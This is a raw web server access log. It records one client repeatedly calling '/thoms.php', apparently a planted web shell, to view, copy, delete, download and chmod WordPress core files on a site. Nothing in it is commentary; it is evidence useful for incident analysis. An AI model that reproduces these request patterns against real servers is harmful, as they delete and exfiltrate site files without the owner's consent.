45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fshortcodes.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fshortcodes.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16228 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13463 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fconnectors.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fconnectors.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22704 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /bestzyx.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48138 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:58 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?del=registration.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 58944 "http://163.245.207.76:443/thoms.php?del=registration.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?chmod=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?del=revision.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:59 -0400] "GET /thoms.php?chmod=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12882 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?del=date.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=date.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?del=widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?del=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:00 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /bestzyx.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?chmod=atomlib.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?dl=ms-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17523 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?dl=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:01 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /bestzyx.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?dl=plugin.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?del=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59308 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?del=php-compat&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=php-compat&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12427 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:02 -0400] "GET /thoms.php?del=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50964 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /bestzyx.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /bestzyx.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?del=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /bestzyx.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?del=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:03 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?dl=wp-db.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75067 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?del=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59364 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12112 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12250 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13902 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:04 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=plugin.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?chmod=class-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:05 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24013 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
